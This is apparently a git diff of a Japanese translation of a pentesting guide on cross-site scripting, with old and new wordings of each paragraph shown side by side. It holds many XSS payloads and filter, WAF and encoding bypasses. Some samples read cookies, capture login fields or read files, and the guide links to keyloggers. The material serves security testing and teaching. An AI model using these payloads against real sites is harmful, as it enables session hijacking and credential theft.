この種のXSSは**どこにでも**見つかる可能性があります。これは、Webアプリケーションのクライアントの悪用だけでなく、**どんな** **コンテキスト**でも依存しません。この種の**任意のJavaScript実行**は、**RCE**の取得、クライアントやサーバーでの**任意のファイルの読み取り**などに悪用される可能性があります。\
|
||||
いくつかの**例**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -149,13 +149,13 @@ parentElement
|
|||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## WAFバイパスエンコーディング画像
|
||||
## WAF バイパス エンコーディング 画像
|
||||
|
||||
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
|
||||
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
||||
|
||||
## 生のHTML内に注入
|
||||
|
||||
入力が**HTMLページ内に反映**される場合や、このコンテキストでHTMLコードをエスケープして挿入できる場合、最初にすべきことは、`<`を使用して新しいタグを作成できるかどうかを確認することです:単にその**文字**を**反映**させ、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後の場合にのみ、このケースを悪用できます**。\
|
||||
入力が**HTMLページ内に反映**される場合や、このコンテキストでHTMLコードをエスケープして挿入できる場合、**最初**に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです:単にその**文字**を**反映**させ、それが**HTMLエンコード**されているか、**削除**されているか、または**変更されずに反映**されているかを確認してください。**最後の場合のみ、このケースを悪用できます**。\
|
||||
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
|
@ -167,11 +167,11 @@ parentElement
|
|||
|
||||
### タグ/イベントのブルートフォース
|
||||
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) にアクセスし、_**Copy tags to clipboard**_ をクリックします。次に、Burp Intruder を使用してすべてのタグを送信し、WAF によって悪意のあるタグとして発見されなかったかどうかを確認します。使用できるタグがわかったら、有効なタグを使用して**すべてのイベントをブルートフォース**することができます(同じウェブページで _**Copy events to clipboard**_ をクリックし、前と同じ手順に従います)。
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) にアクセスし、_**Copy tags to clipboard**_ をクリックします。次に、Burp Intruder を使用してすべてのタグを送信し、WAFによって悪意のあるタグとして発見されなかったかどうかを確認します。使用できるタグがわかったら、有効なタグを使用して**すべてのイベントをブルートフォース**することができます(同じウェブページで _**Copy events to clipboard**_ をクリックし、前と同じ手順を実行します)。
|
||||
|
||||
### カスタムタグ
|
||||
|
||||
有効な HTML タグが見つからない場合は、**カスタムタグを作成**して、`onfocus` 属性で JS コードを実行してみることができます。XSS リクエストでは、ページが**そのオブジェクトにフォーカス**し、コードを**実行**するように URL を `#` で終了する必要があります。
|
||||
有効なHTMLタグが見つからない場合は、**カスタムタグを作成**して`onfocus`属性でJSコードを実行することができます。XSSリクエストでは、ページが**そのオブジェクトにフォーカス**し、コードを**実行**するようにURLを`#`で終了する必要があります。
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -230,7 +230,7 @@ onerror=alert`1`
|
|||
### 長さバイパス(小さなXSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**さまざまな環境向けのさらに小さなXSS** ペイロードは[**こちらで**](https://github.com/terjanq/Tiny-XSS-Payloads) および[**こちらで**](https://tinyxss.terjanq.me) 見つけることができます。
|
||||
**さまざまな環境向けのさらに小さなXSS** ペイロードは[**こちらで**](https://github.com/terjanq/Tiny-XSS-Payloads)および[**こちらで**](https://tinyxss.terjanq.me)見つけることができます。
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
@ -238,24 +238,24 @@ onerror=alert`1`
|
|||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
最後の方法は、5つに展開される2つのUnicode文字を使用することです:telsr\
|
||||
最後の方法は、5つに展開される2つのUnicode文字を使用することです: telsr\
|
||||
これらの文字の詳細は[こちら](https://www.unicode.org/charts/normalization/)で見つけることができます。\
|
||||
分解された文字を確認するには、[こちら](https://www.compart.com/en/unicode/U+2121)をチェックしてください。
|
||||
|
||||
### クリックXSS - クリックジャッキング
|
||||
|
||||
脆弱性を悪用するために**ユーザーにリンクまたは事前入力データを含むフォームをクリックしてもらう**必要がある場合、[**クリックジャッキングを悪用**](../clickjacking.md#xss-clickjacking)してみることができます(ページが脆弱な場合)。
|
||||
脆弱性を悪用するために**ユーザーにリンクまたは事前入力データのあるフォームをクリックしてもらう**必要がある場合、[**クリックジャッキングを悪用**](../clickjacking.md#xss-clickjacking)してみることができます(ページが脆弱な場合)。
|
||||
|
||||
### 不可能 - ダングリングマークアップ
|
||||
|
||||
単に**HTMLタグを作成してJSコードを実行する属性を作成することが不可能だと思う**場合は、[**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/)をチェックしてみてください。なぜなら、**JSコードを実行せずに**脆弱性を**悪用**できるかもしれないからです。
|
||||
単に**HTMLタグを作成してJSコードを実行する属性を作成するのが不可能だと思う**場合は、[**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/)をチェックしてみてください。なぜなら、JSコードを実行せずに脆弱性を**悪用**できるかもしれないからです。
|
||||
|
||||
## HTMLタグ内への挿入
|
||||
|
||||
### タグ内/属性値からのエスケープ
|
||||
|
||||
**HTMLタグ内にいる**場合、最初に試すべきことは、タグからエスケープして、[前のセクション](./#injecting-inside-raw-html)で言及されているいくつかのテクニックを使用してJSコードを実行することです。\
|
||||
タグから**エスケープできない**場合、例えば、(_この例ではダブルクォートを属性からエスケープするために使用していますが、入力がタグ内に直接反映されている場合は必要ありません_)などのペイロードを使用して、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。
|
||||
タグから**エスケープできない**場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。たとえば、次のようなペイロードを使用することができます(_この例では、二重引用符を属性からエスケープするために使用していますが、入力がタグ内に直接反映されている場合は必要ありません_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -272,14 +272,14 @@ onerror=alert`1`
|
|||
```
|
||||
### 属性内部で
|
||||
|
||||
属性から**脱出できない**場合でも(`"`がエンコードされたり削除されたりしている)、**どの属性**に値が反映されるかによって、その値を完全に制御するか一部だけ制御するかによって悪用できる可能性があります。**例えば**、`onclick=`のようなイベントを制御できる場合、クリックされたときに任意のコードを実行させることができます。\
|
||||
属性から**脱出できない**場合でも(`"`がエンコードされたり削除されたりしている)、**どの属性**に値が反映されているかによって、値を完全に制御しているか一部だけかによって悪用できる可能性があります。**例えば**、`onclick=`のようなイベントを制御できる場合、クリックされたときに任意のコードを実行させることができます。\
|
||||
もう1つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||
|
||||
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
|
||||
|
||||
HTMLタグ属性の値内部の**HTMLエンコードされた文字**は**ランタイムでデコード**されます。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
**どんな種類のHTMLエンコードでも有効であることに注意してください**:
|
||||
**どんな種類のHTMLエンコードでも有効**であることに注意してください。
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
|
@ -300,7 +300,7 @@ HTMLタグ属性の値内部の**HTMLエンコードされた文字**は**ラン
|
|||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Unicodeエンコードを使用してイベント内のバイパスを行う**
|
||||
**Unicodeエンコードを使用してイベント内部のバイパスを行う**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
@ -308,7 +308,7 @@ HTMLタグ属性の値内部の**HTMLエンコードされた文字**は**ラン
|
|||
```
|
||||
### 属性内の特別なプロトコル
|
||||
|
||||
ここでは、いくつかの場所でプロトコル **`javascript:`** や **`data:`** を使用して、**任意のJSコードを実行** することができます。一部はユーザーの操作が必要であり、一部は必要ありません。
|
||||
ここでは、一部の場所で**任意のJSコードを実行**するために、プロトコル**`javascript:`**または**`data:`**を使用できます。一部の場所ではユーザーの操作が必要ですが、一部では必要ありません。
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -356,17 +356,17 @@ _**この場合、前のセクションでのHTMLエンコーディングとUnic
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
さらに、これらのケースにはもう1つ**便利なトリック**があります: **`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。**ですので、**文字列**から**シングルクォート**を**エスケープ**する必要がある場合、**URLエンコード**されていることに気づいても、**問題ありません**。実行時には**シングルクォート**として**解釈**されます。
|
||||
さらに、これらのケースにはもう1つ**便利なトリック**があります: **`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。**ですので、**文字列**から**シングルクォート**を**エスケープ**する必要がある場合、**URLエンコードされている**ことに気づいても、**問題ありません**。実行時には**シングルクォート**として**解釈**されます。
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
注意してください。**URLエンコード + HTMLエンコード**を**どちらの順番**で使おうとも、**ペイロード**をエンコードすることは**できません**が、**ペイロード内でそれらを混在させる**ことはできます。
|
||||
注意してください、**URLエンコード + HTMLエンコード**を**どちらの順番**で使っても**ペイロード**をエンコードすると**機能しません**が、**ペイロード内でそれらを混在させる**ことができます。
|
||||
|
||||
**`javascript:`を使ったHexとOctalエンコードの使用**
|
||||
**`javascript:`とHexおよびOctalエンコードを使用する**
|
||||
|
||||
`iframe`の`src`属性内(少なくとも)で**HTMLタグを実行する**ために**Hex**と**Octalエンコード**を使用できます。
|
||||
`iframe`の`src`属性内(少なくとも)で**HTMLタグを実行する**ために**Hex**および**Octalエンコード**を使用できます:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -382,7 +382,7 @@ _**この場合、前のセクションでのHTMLエンコーディングとUnic
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
任意の**`<a href=`**タグにURLをインジェクトできる場合、**`target="_blank"`**と**`rel="opener"`**属性を含むタグを悪用するために、**次のページをチェックしてください**:
|
||||
もし任意の**`<a href=`**タグに**`target="_blank"**と**`rel="opener"`**属性が含まれるURLをインジェクトできる場合は、次のページをチェックしてこの動作を悪用してください:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -390,8 +390,8 @@ _**この場合、前のセクションでのHTMLエンコーディングとUnic
|
|||
|
||||
### イベントハンドラーバイパス
|
||||
|
||||
まず、有用な**"on"イベントハンドラー**に関する情報は、このページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))をチェックしてください。\
|
||||
もし、何らかのブラックリストがイベントハンドラーの作成を妨げている場合は、以下のバイパスを試してみることができます。
|
||||
まず、有用な**"on"イベントハンドラー**については、このページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))をチェックしてください。\
|
||||
もし、このイベントハンドラーを作成するのを妨げるブラックリストがある場合は、以下のバイパスを試してみることができます。
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -408,7 +408,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### "Unexploitable tags"(hidden input、link、canonical、meta)におけるXSS
|
||||
|
||||
[**こちら**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **から、今では以下のように隠し入力を悪用することが可能になりました:**
|
||||
[**こちら**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **から、今では隠された入力を悪用することが可能になりました:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -421,7 +421,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から:**hidden属性**内で**XSSペイロード**を実行できます。ただし、**被害者**に**キーの組み合わせ**を押させる必要があります。Firefox Windows/Linuxでは、キーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーの組み合わせを指定できます。以下がベクトルです:
|
||||
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): **hidden属性内でXSSペイロードを実行**することができます。ただし、**被害者**に**キーの組み合わせ**を押させる必要があります。Firefox Windows/Linuxでは、キーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーの組み合わせを指定できます。以下がベクトルです:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -429,7 +429,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
### ブラックリスト回避
|
||||
|
||||
異なるエンコーディングを使用したいくつかのトリックがすでにこのセクションで公開されています。以下で使用できる場所を学ぶために**戻ってください:**
|
||||
異なるエンコーディングを使用したいくつかのトリックがすでにこのセクションで公開されています。以下でどこで使用できるかを学ぶために**戻ってください:**
|
||||
|
||||
* **HTMLエンコーディング(HTMLタグ)**
|
||||
* **Unicodeエンコーディング(有効なJSコードになることができます):** `\u0061lert(1)`
|
||||
|
@ -443,13 +443,13 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
**JavaScriptコードの回避**
|
||||
|
||||
次のセクションの[JavaScriptバイパスブラックリスト](./#javascript-bypass-blacklists-techniques)を読んでください。
|
||||
次のセクションの[JavaScriptブラックリスト回避技術](./#javascript-bypass-blacklists-techniques)を読んでください。
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
非常に小さなウェブの一部でXSSを見つけた場合(フッターに小さなリンクがあり、onmouseover要素があるかもしれません)、その要素が占めるスペースを変更してリンクが発火する可能性を最大化できます。
|
||||
ウェブの非常に小さな部分でXSSを見つけた場合(フッターに小さなリンクがあり、onmouseover要素があるかもしれません)、その要素が占めるスペースを変更してリンクが発火する可能性を最大化できます。
|
||||
|
||||
例えば、次のような要素にスタイリングを追加できます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
例えば、次のように要素にスタイルを追加できます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
ただし、WAFがstyle属性をフィルタリングしている場合、CSS Styling Gadgetsを使用できます。たとえば、次のようなものを見つけた場合
|
||||
|
||||
|
@ -465,9 +465,9 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取得されました。
|
||||
|
||||
## JavaScriptコード内へのインジェクション
|
||||
## JavaScriptコード内への挿入
|
||||
|
||||
この場合、**入力**は`.js`ファイルのJSコード内、または`<script>...</script>`タグ内、またはJSコードを実行できるHTMLイベント内、または`javascript:`プロトコルを受け入れる属性の間に**反映**されます。
|
||||
この場合、**入力**は`.js`ファイルのJSコード内または`<script>...</script>`タグ内またはJSコードを実行できるHTMLイベント内または`javascript:`プロトコルを受け入れる属性内に**反映**されます。
|
||||
|
||||
### \<script>タグのエスケープ
|
||||
|
||||
|
@ -479,7 +479,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
### JavaScriptコード内
|
||||
|
||||
もし`<>`がサニタイズされている場合、入力が**配置されている場所**で文字列を**エスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正することが重要**です。なぜなら、エラーがあるとJSコードが実行されないからです。
|
||||
`<>`がサニタイズされている場合、入力が**配置されている場所**で文字列を**エスケープ**して**任意のJavaScriptを実行**することができます。JSの構文を**修正することが重要**です。なぜなら、エラーがあるとJSコードが実行されないからです。
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -487,10 +487,10 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### テンプレートリテラル \`\`
|
||||
|
||||
**文字列** を構築するために、JSはシングルクォートやダブルクォートに加えて、**バックティック** **\` \`** も受け入れます。これは、`${ ... }` 構文を使用して **埋め込みJS式** を許可するため、テンプレートリテラルとして知られています。\
|
||||
したがって、もし入力値がバックティックを使用してJS文字列内に**反映**されている場合、`${ ... }` 構文を悪用して **任意のJSコード** を実行できます:
|
||||
**文字列** を構築するために、JSは**バッククォート** **` `` `** を使用することもできます。これは、`${ ... }` 構文を使用して**埋め込みJS式**を許可するため、テンプレートリテラルとして知られています。\
|
||||
したがって、入力がバッククォートを使用してJS文字列内に**反映**されていることがわかった場合、`${ ... }` 構文を悪用して**任意のJSコード**を実行できます:
|
||||
|
||||
これは以下を使用して **悪用** できます:
|
||||
これは以下を使用して**悪用**できます:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -552,7 +552,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScriptのコメント(**[**JavaScript Comments**](./#javascript-comments) **トリックから)**
|
||||
**JavaScriptのコメント(** [**JavaScript Comments**](./#javascript-comments) **トリックから)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
@ -732,15 +732,15 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **DOMの脆弱性**
|
||||
|
||||
攻撃者によって制御される**安全でないデータ**、例えば `location.href` のような**JSコード**が存在します。攻撃者はこれを悪用して任意のJSコードを実行できます。\
|
||||
**[DOMの脆弱性の説明が拡張されたため、このページに移動しました**](dom-xss.md)**:**
|
||||
攻撃者によって制御される**安全でないデータ**、例えば`location.href`などを使用している**JSコード**があります。攻撃者はこれを悪用して任意のJSコードを実行できます。\
|
||||
**[DOMの脆弱性の説明が拡張されたため、このページに移動しました]**(dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
そこでは、**DOMの脆弱性が何であり、どのように引き起こされ、どのように悪用されるか**について詳細な説明が見つかります。\
|
||||
また、**前述の投稿の最後に**[**DOM Clobbering攻撃に関する説明**](dom-xss.md#dom-clobbering)があることを忘れないでください。
|
||||
また、**言及された投稿の最後に**[**DOM Clobbering攻撃に関する説明**](dom-xss.md#dom-clobbering)があることを忘れないでください。
|
||||
|
||||
## その他のバイパス
|
||||
|
||||
|
@ -748,18 +748,18 @@ top[8680439..toString(30)](1)
|
|||
|
||||
サーバー(またはクライアント側)で**反映された値**が**Unicode正規化**されているかどうかを確認し、この機能を悪用して保護をバイパスできます。[**こちらで例を見つける**](../unicode-injection/#xss-cross-site-scripting)。
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL フラグバイパス
|
||||
### PHP FILTER\_VALIDATE\_EMAILフラグバイパス
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails バイパス
|
||||
|
||||
**RoR マスアサインメント**により、HTMLに引用符が挿入され、その後引用符の制限がバイパスされ、タグ内に追加フィールド(onfocus)が追加されます。\
|
||||
フォームの例([このレポートから](https://hackerone.com/reports/709336))は、次のペイロードを送信すると:
|
||||
**RoR マスアサインメント**により、HTML に引用符が挿入され、その後引用符の制限がバイパスされ、追加フィールド(onfocus)がタグ内に追加される可能性があります。\
|
||||
フォームの例([このレポートから](https://hackerone.com/reports/709336))、次のペイロードを送信すると:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
以下のように、ペア "Key"、"Value" がエコーバックされます:
|
||||
以下のように、ペア "Key"、"Value" がエコーバックされます:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
|
@ -795,24 +795,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
|||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### 302 レスポンスでのヘッダーインジェクション付き XSS
|
||||
### 302レスポンスでのヘッダーインジェクションによるXSS
|
||||
|
||||
302 リダイレクトレスポンスで **ヘッダーをインジェクト** できることがわかった場合、**ブラウザに任意の JavaScript を実行させる**ことができます。これは **簡単なことではありません**。現代のブラウザは、HTTP レスポンスステータスコードが 302 の場合、HTTP レスポンスボディを解釈しません。そのため、単なるクロスサイトスクリプティングペイロードは無意味です。
|
||||
302リダイレクトレスポンスで**ヘッダーをインジェクト**できることがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことができます。これは**簡単なことではありません**。現代のブラウザは、HTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは役に立ちません。
|
||||
|
||||
[**このレポート**](https://www.gremwell.com/firefox-xss-302) および [**このレポート**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Location ヘッダー内で複数のプロトコルをテストし、ブラウザがボディ内の XSS ペイロードを検査および実行できるかどうかを確認する方法について読むことができます。\
|
||||
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空の Location ヘッダー_, `resource://`.
|
||||
[**このレポート**](https://www.gremwell.com/firefox-xss-302)および[**このレポート**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内で複数のプロトコルをテストし、ブラウザがボディ内のXSSペイロードを検査および実行できるかどうかを確認する方法について読むことができます。\
|
||||
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`.
|
||||
|
||||
### 文字、数字、ドットのみ
|
||||
|
||||
**コールバック** が実行する JavaScript がこれらの文字に限定されることができる場合は、[**この投稿のこのセクション**](./#javascript-function) を読んで、この動作を悪用する方法を見つけてください。
|
||||
**コールバック**を指定して**JavaScriptを実行**することができる場合、これらの文字に制限されます。[**この投稿のこのセクション**](./#javascript-function)を読んで、この動作を悪用する方法を見つけてください。
|
||||
|
||||
### XSS に対応する有効な `<script>` コンテンツタイプ
|
||||
### 有効な`<script>`コンテンツタイプのXSS
|
||||
|
||||
([**こちら**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) から) `application/octet-stream` などの **コンテンツタイプ** でスクリプトを読み込もうとすると、Chrome は次のエラーを表示します:
|
||||
([**こちら**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)から) `application/octet-stream`などの**コンテンツタイプ**でスクリプトをロードしようとすると、Chromeは次のエラーをスローします:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Chrome が **ロードされたスクリプト** を実行するのをサポートする唯一の **Content-Type** は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) 内の const **`kSupportedJavascriptTypes`** に含まれるものです。
|
||||
Chromeが**ロードされたスクリプト**を実行するのをサポートする唯一の**Content-Type**は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)内のconst **`kSupportedJavascriptTypes`**に含まれるものです。
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -836,13 +836,13 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
### XSSに使用されるスクリプトの種類
|
||||
|
||||
(From [**こちら**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どの種類のスクリプトを読み込むために指定できますか?
|
||||
([**こちら**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)から) では、どの種類のスクリプトを読み込むために指定できますか?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
以下が答えです:
|
||||
答えは:
|
||||
|
||||
* **module**(デフォルト、説明することはありません)
|
||||
* **module** (デフォルト、説明することはありません)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、複数のデータ(HTML、CSS、JSなど)を**`.wbn`**ファイルにまとめる機能です。
|
||||
```html
|
||||
<script type="webbundle">
|
||||
|
@ -872,7 +872,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)で使用され、ライブラリをevalにリマップして悪用し、XSSをトリガーすることができました。
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するために使用されます。動作は次のようになります:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -901,11 +901,11 @@ import { partition } from "lodash";
|
|||
* application/rss+xml (off)
|
||||
* application/atom+xml (off)
|
||||
|
||||
他のブラウザでは他の **`Content-Types`** が使用され、任意のJSを実行できます。確認: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
他のブラウザでは他の **`Content-Types`** が任意のJSを実行するために使用できます。詳細はこちらを参照: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xmlコンテンツタイプ
|
||||
|
||||
ページがtext/xmlコンテンツタイプを返す場合、名前空間を示すことが可能であり、任意のJSを実行できます:
|
||||
ページがtext/xmlコンテンツタイプを返す場合、名前空間を示すことで任意のJSを実行できます:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -958,7 +958,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
もし実行前にすべてが未定義である場合(たとえば、[この解説](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、import()を使用して有用なオブジェクトを「無から生成」し、任意の未信頼コードの実行を悪用することが可能です。
|
||||
もし実行前にすべてが未定義である場合(例:[この解説](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、import()を使用して任意の未信頼コードの実行を悪用するために「何もない」から有用なオブジェクトを生成することが可能です。
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
|
@ -1018,7 +1018,7 @@ trigger()
|
|||
```
|
||||
### 難読化と高度なバイパス
|
||||
|
||||
* **1つのページで異なる難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **1ページで異なる難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1184,12 +1184,12 @@ body:username.value+':'+this.value
|
|||
```
|
||||
### キーロガー
|
||||
|
||||
GitHubで検索すると、いくつか異なるものが見つかります:
|
||||
GitHubで検索すると、いくつか異なるものが見つかりました:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
